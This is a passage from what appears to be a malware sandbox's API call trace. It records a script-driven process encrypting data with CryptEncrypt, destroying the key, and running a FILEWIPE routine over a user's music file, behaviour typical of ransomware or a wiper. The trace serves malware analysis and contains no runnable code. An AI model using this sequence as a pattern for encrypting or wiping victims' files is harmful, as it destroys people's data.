lpMsg=0xe8f3dfe760) returned 0 [0027.411] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.411] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.411] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.411] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.411] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.411] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xa7ca, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xa7d0) returned 1 [0027.411] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.412] CharLowerBuffW (in: lpsz="byte[42961]", cchLength=0xb | out: lpsz="byte[42961]") returned 0xb [0027.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.412] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.412] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.412] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.412] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43997d0*, pdwDataLen=0xe8f3dfdf68*=0xa7ca, dwBufLen=0xa7d0 | out: pbData=0xe8f43997d0*, pdwDataLen=0xe8f3dfdf68*=0xa7d0) returned 1 [0027.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.413] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.413] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.413] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.413] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.413] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.413] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.413] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.413] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.413] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.413] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.413] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.413] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.415] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.415] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.415] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.416] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.416] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.416] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.416] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.416] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.416] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.416] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.416] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.416] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.416] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.416] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.417] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.417] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.417] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.417] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.417] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.417] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.417] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.417] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0027.417] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.417] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.417] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.417] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0027.417] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.417] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.417] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.418] CloseHandle (hObject=0x188) returned 1 [0027.418] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.418] CloseHandle (hObject=0x1fc) returned 1 [0027.420] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.421] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.421] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.421] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.421] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\v5IkO1.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\v5iko1.mp3")) returned 0x20 [0027.421] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.421] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\v5IkO1.mp3", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f406a370 [0027.421] FindClose (in: hFindFile=0xe8f406a370 | out: hFindFile=0xe8f406a370) returned 1 [0027.422] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.422] CharLowerBuffW (in: lpsz="byte[42954]", cchLength=0xb | out: lpsz="byte[42954]") returned 0xb [0027.422] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.422] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.422] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.423] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.423] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0027.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f40645f0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0027.423] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0027.423] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.423] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.424] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.424] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.424] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.425] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.425] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.425] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.425] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.425] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.425] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.425] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.425] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.425] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.425] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.425] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.425] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.425] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.425] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.426] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.426] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.426] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.426] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.426] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.426] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.426] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.426] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.426] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.426] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=7522) returned 1 [0027.426] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.426] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.426] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, 